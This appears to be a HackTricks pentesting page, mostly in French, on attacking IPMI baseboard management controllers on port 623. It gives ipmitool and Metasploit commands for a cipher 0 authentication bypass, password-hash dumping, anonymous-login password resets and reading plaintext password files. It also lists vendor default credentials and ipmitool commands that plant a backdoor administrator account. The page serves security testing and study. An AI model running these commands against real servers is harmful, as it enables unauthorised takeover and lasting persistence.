11 KiB
623/UDP/TCP - IPMI
623/UDP/TCP - IPMI
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Basic Information
Overview of IPMI
Interface de gestion de plateforme intelligente (IPMI) offre une approche standardisée pour la gestion et la surveillance à distance des systèmes informatiques, indépendamment du système d'exploitation ou de l'état d'alimentation. Cette technologie permet aux administrateurs système de gérer les systèmes à distance, même lorsqu'ils sont éteints ou non réactifs, et est particulièrement utile pour :
- Configurations de démarrage pré-OS
- Gestion de l'alimentation
- Récupération après des pannes système
IPMI est capable de surveiller les températures, les tensions, les vitesses des ventilateurs et les alimentations, tout en fournissant des informations d'inventaire, en examinant les journaux matériels et en envoyant des alertes via SNMP. Essentiel à son fonctionnement, il nécessite une source d'alimentation et une connexion LAN.
Depuis son introduction par Intel en 1998, IPMI a été soutenu par de nombreux fournisseurs, améliorant les capacités de gestion à distance, notamment avec le support de la version 2.0 pour le série sur LAN. Les composants clés incluent :
- Contrôleur de gestion de carte mère (BMC) : Le micro-contrôleur principal pour les opérations IPMI.
- Bus et interfaces de communication : Pour la communication interne et externe, y compris ICMB, IPMB et diverses interfaces pour les connexions locales et réseau.
- Mémoire IPMI : Pour stocker les journaux et les données.
Port par défaut : 623/UDP/TCP (Il est généralement sur UDP mais peut également fonctionner sur TCP)
Enumeration
Discovery
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
Vous pouvez identifier la version en utilisant :
use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10
IPMI Vulnerabilities
Dans le domaine de l'IPMI 2.0, une faille de sécurité significative a été découverte par Dan Farmer, exposant une vulnérabilité à travers cipher type 0. Cette vulnérabilité, documentée en détail dans la recherche de Dan Farmer, permet un accès non autorisé avec n'importe quel mot de passe, à condition qu'un utilisateur valide soit ciblé. Cette faiblesse a été trouvée dans divers BMC de fabricants tels que HP, Dell et Supermicro, suggérant un problème généralisé au sein de toutes les implémentations IPMI 2.0.
IPMI Authentication Bypass via Cipher 0
Pour détecter cette faille, le scanner auxiliaire Metasploit suivant peut être utilisé :
use auxiliary/scanner/ipmi/ipmi_cipher_zero
L'exploitation de cette faille est réalisable avec ipmitool
, comme démontré ci-dessous, permettant la liste et la modification des mots de passe des utilisateurs :
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
Récupération de hachages de mots de passe à distance RAKP d'IPMI 2.0
Cette vulnérabilité permet la récupération de mots de passe hachés salés (MD5 et SHA1) pour tout nom d'utilisateur existant. Pour tester cette vulnérabilité, Metasploit propose un module :
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
Authentification Anonyme IPMI
Une configuration par défaut dans de nombreux BMC permet un accès "anonyme", caractérisé par des chaînes de nom d'utilisateur et de mot de passe nulles. Cette configuration peut être exploitée pour réinitialiser les mots de passe des comptes d'utilisateur nommés en utilisant ipmitool
:
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
Supermicro IPMI Mots de passe en clair
Un choix de conception critique dans IPMI 2.0 nécessite le stockage de mots de passe en clair au sein des BMC pour des raisons d'authentification. Le stockage de ces mots de passe par Supermicro dans des emplacements tels que /nv/PSBlock
ou /nv/PSStore
soulève d'importantes préoccupations en matière de sécurité :
cat /nv/PSBlock
Vulnérabilité UPnP IPMI de Supermicro
L'inclusion par Supermicro d'un écouteur SSDP UPnP dans son firmware IPMI, en particulier sur le port UDP 1900, introduit un risque de sécurité sévère. Les vulnérabilités dans le SDK Intel pour les dispositifs UPnP version 1.3.1, comme détaillé par la divulgation de Rapid7, permettent un accès root au BMC :
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
Brute Force
HP randomise le mot de passe par défaut pour son produit Integrated Lights Out (iLO) lors de la fabrication. Cette pratique contraste avec d'autres fabricants, qui ont tendance à utiliser des identifiants par défaut statiques. Un résumé des noms d'utilisateur et mots de passe par défaut pour divers produits est fourni comme suit :
- HP Integrated Lights Out (iLO) utilise une chaîne de 8 caractères randomisée en usine comme mot de passe par défaut, montrant un niveau de sécurité plus élevé.
- Des produits comme Dell's iDRAC, IBM's IMM, et Fujitsu's Integrated Remote Management Controller utilisent des mots de passe facilement devinables tels que "calvin", "PASSW0RD" (avec un zéro), et "admin" respectivement.
- De même, Supermicro IPMI (2.0), Oracle/Sun ILOM, et ASUS iKVM BMC utilisent également des identifiants par défaut simples, avec "ADMIN", "changeme", et "admin" servant de mots de passe.
Accéder à l'hôte via BMC
L'accès administratif au Baseboard Management Controller (BMC) ouvre diverses voies pour accéder au système d'exploitation de l'hôte. Une approche simple consiste à exploiter la fonctionnalité KVM (Keyboard, Video, Mouse) du BMC. Cela peut être fait en redémarrant l'hôte vers un shell root via GRUB (en utilisant init=/bin/sh
) ou en démarrant à partir d'un CD-ROM virtuel configuré comme disque de secours. De telles méthodes permettent une manipulation directe du disque de l'hôte, y compris l'insertion de portes dérobées, l'extraction de données, ou toute action nécessaire pour une évaluation de sécurité. Cependant, cela nécessite de redémarrer l'hôte, ce qui est un inconvénient majeur. Sans redémarrage, accéder à l'hôte en cours d'exécution est plus complexe et varie selon la configuration de l'hôte. Si la console physique ou série de l'hôte reste connectée, elle peut facilement être prise en charge via les fonctionnalités KVM ou serial-over-LAN (sol) du BMC via ipmitool
. Explorer l'exploitation des ressources matérielles partagées, comme le bus i2c et la puce Super I/O, est un domaine qui nécessite une enquête plus approfondie.
Introduction de portes dérobées dans le BMC depuis l'hôte
Après avoir compromis un hôte équipé d'un BMC, l'interface BMC locale peut être exploitée pour insérer un compte utilisateur porte dérobée, créant une présence durable sur le serveur. Cette attaque nécessite la présence de ipmitool
sur l'hôte compromis et l'activation du support du pilote BMC. Les commandes suivantes illustrent comment un nouveau compte utilisateur peut être injecté dans le BMC en utilisant l'interface locale de l'hôte, ce qui contourne le besoin d'authentification. Cette technique est applicable à un large éventail de systèmes d'exploitation, y compris Linux, Windows, BSD, et même DOS.
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATOR
Shodan
port:623
Références
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Consultez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs aux HackTricks et HackTricks Cloud dépôts github.